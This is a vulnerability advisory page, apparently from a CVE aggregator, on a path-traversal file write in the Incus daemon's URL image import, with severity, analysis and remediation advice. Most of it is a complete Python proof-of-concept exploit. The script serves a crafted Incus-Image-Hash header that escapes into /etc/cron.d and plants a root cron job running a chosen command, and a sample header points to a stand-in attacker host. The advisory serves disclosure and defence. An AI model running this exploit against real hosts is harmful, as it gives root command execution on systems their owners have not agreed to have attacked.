Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
PR:L because Incus API access is required; AV:N because exploitation requires the daemon to contact an attacker-controlled remote server; S:C because the write escapes incusd's image directory to the host OS.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
Lifecycle Timeline
3DescriptionCVE.org
Summary
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.
Details
cmd/incusd/images.go:611-684handlessource.type=urlby HEADing the user-supplied URL, readingIncus-Image-HashandIncus-Image-URL, and passing them toimageDownload()asAliasandServer.cmd/incusd/daemon_images.go:91-92defaultsfpto the caller-controlled alias string.cmd/incusd/daemon_images.go:333-335buildsdestName := filepath.Join(destDir, fp).cmd/incusd/daemon_images.go:469-523enters thedirectprotocol branch, opensdestNamewithos.Create(), and copies the HTTP response into that file.cmd/incusd/daemon_images.go:528-532validates the SHA-256 only after the file has already been created and populated.cmd/incusd/daemon_images.go:337-344cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause the arbitrary file write.
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payloadPoC
The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.
For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.
Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.
"""
from __future__ import annotations
import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any
DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
class UnixHTTPConnection(http.client.HTTPConnection):
def __init__(self, socket_path: str, timeout: int = 120):
super().__init__("incus", timeout=timeout)
self.socket_path = socket_path
def connect(self) -> None:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect(self.socket_path)
self.sock = sock
class RCEHTTPServer(ThreadingHTTPServer):
hash_path: str
advertise_url: str
payload: bytes
hold_seconds: int
payload_requested: threading.Event
class DirectImageHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
server_version = "direct-image-rce/1.0"
def log_message(self, fmt: str, *args: Any) -> None:
print(f"[http] {self.address_string()} - {fmt % args}", flush=True)
def do_HEAD(self) -> None:
if self.path != "/stage":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
self.send_response(200)
self.send_header("Incus-Image-Hash", srv.hash_path)
self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
self.send_header("Connection", "close")
self.end_headers()
def do_GET(self) -> None:
if self.path != "/payload":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(srv.payload)
self.wfile.flush()
print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
time.sleep(srv.hold_seconds)
self.close_connection = True
def quote(value: str) -> str:
return urllib.parse.quote(value, safe="")
def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
if args.insecure:
ctx = ssl._create_unverified_context()
else:
ctx = ssl.create_default_context(cafile=args.cacert)
if args.cert:
ctx.load_cert_chain(args.cert, args.key)
return ctx
def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
if args.url:
parsed = urllib.parse.urlparse(args.url)
if parsed.scheme != "https":
raise ValueError("--url must use https")
return http.client.HTTPSConnection(
parsed.hostname,
parsed.port or 8443,
timeout=args.timeout,
context=tls_context(args),
)
return UnixHTTPConnection(args.socket, timeout=args.timeout)
def request_json(
args: argparse.Namespace,
method: str,
path: str,
obj: dict[str, Any] | None,
allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
body = None if obj is None else json.dumps(obj).encode("utf-8")
headers = {"Host": "incus"}
if body is not None:
headers["Content-Type"] = "application/json"
conn = connection(args)
conn.request(method, path, body=body, headers=headers)
resp = conn.getresponse()
raw = resp.read()
conn.close()
try:
data = json.loads(raw) if raw else {}
except json.JSONDecodeError:
data = {"raw": raw.decode("utf-8", "replace")}
if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")
return resp.status, data
def images_path(project: str) -> str:
return "/1.0/images?project=" + quote(project)
def cron_payload(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")
def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
return {
"source": {
"type": "url",
"url": project_url.rstrip("/") + "/stage",
},
"public": public,
}
def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
server.hash_path = args.hash_path
server.advertise_url = args.advertise_url
server.payload = payload
server.hold_seconds = args.hold_seconds
server.payload_requested = threading.Event()
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main() -> int:
parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
parser.add_argument("--cert", help="client certificate for remote Incus")
parser.add_argument("--key", help="client private key for remote Incus")
parser.add_argument("--cacert", help="CA certificate for remote Incus")
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
parser.add_argument("--project", default="default", help="project used for image import")
parser.add_argument("--public", action="store_true", help="mark imported image public")
parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")
parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")
parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")
parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")
parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")
parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")
parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
args = parser.parse_args()
if bool(args.cert) != bool(args.key):
parser.error("--cert and --key must be supplied together")
if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")
payload = cron_payload(args.command)
trigger_body = image_url_body(args.advertise_url, args.public)
print("[*] exploit primitive: direct image URL unvalidated hash path host write")
print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
print(f"[*] cron payload: {payload.decode().rstrip()}")
print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")
if not args.execute_trigger:
print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
return 0
server = start_server(args, payload)
print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")
status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")
if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
print("[*] daemon requested payload; cron file should exist until the held response is released")
else:
print("[!] daemon did not request payload within the wait window")
print("[*] leaving HTTP server active for the remaining hold window")
time.sleep(max(0, args.hold_seconds - 30))
server.shutdown()
server.server_close()
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)Impact
An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
AnalysisAI
Arbitrary file write in the Incus daemon (incusd) via path traversal in the Incus-Image-Hash header allows a low-privileged attacker controlling a malicious image server to write attacker-controlled content to any path on the host filesystem as root, leading to arbitrary command execution. Affected versions are all Incus releases prior to 7.2.0; the vulnerability exists in the source.type=url image import code path. A full public proof-of-concept exploit exists demonstrating cron-based root command execution; no confirmed active exploitation in CISA KEV at time of analysis.
Technical ContextAI
Incus (pkg:go/github.com/lxc/incus/v7/cmd/incusd) is an open-source container and virtual machine manager, successor to LXD, written in Go. The flaw is rooted in CWE-20 (Improper Input Validation): when source.type=url is used for image import, cmd/incusd/images.go:611-684 issues a HEAD request to the caller-supplied URL and reads the Incus-Image-Hash and Incus-Image-URL response headers verbatim. The hash value is assigned as fp (fingerprint) in daemon_images.go:91-92 without any path sanitization. daemon_images.go:333-335 then constructs destName := filepath.Join(destDir, fp) - filepath.Join in Go resolves .. components, so a traversal sequence such as ../../../../etc/cron.d/foo escapes /var/lib/incus/images/ entirely. In the direct protocol branch (daemon_images.go:469-523), the daemon calls os.Create(destName) and streams the full HTTP response body into that file before performing any SHA-256 integrity validation (daemon_images.go:528-532). The post-copy cleanup at daemon_images.go:337-344 only runs after the response completes; holding the HTTP response open extends the window in which the written file persists on disk.
RemediationAI
Upgrade Incus to version 7.2.0 or later, which is confirmed as the fixed release per the upstream Go package advisory (pkg:go/github.com/lxc/incus/v7/cmd/incusd fixed in 7.2.0). The vendor advisory is at https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x. If immediate upgrade is not possible, restrict who can issue API calls to the incusd Unix socket (/var/lib/incus/unix.socket) - removing untrusted users from the incus group eliminates the PR:L prerequisite and prevents exploitation. Additionally, implement network egress controls on the host running incusd to block outbound HTTP/HTTPS connections to untrusted or unexpected endpoints, which prevents the daemon from reaching a malicious image server; note this may impact legitimate image import workflows. Avoid using source.type=url image imports from untrusted or user-controlled URLs as a compensating control until patched, at the cost of disabling that import feature entirely.
Same weakness CWE-20 – Improper Input Validation
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: CriticalShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63983
GHSA-f6m5-xw2g-xc4x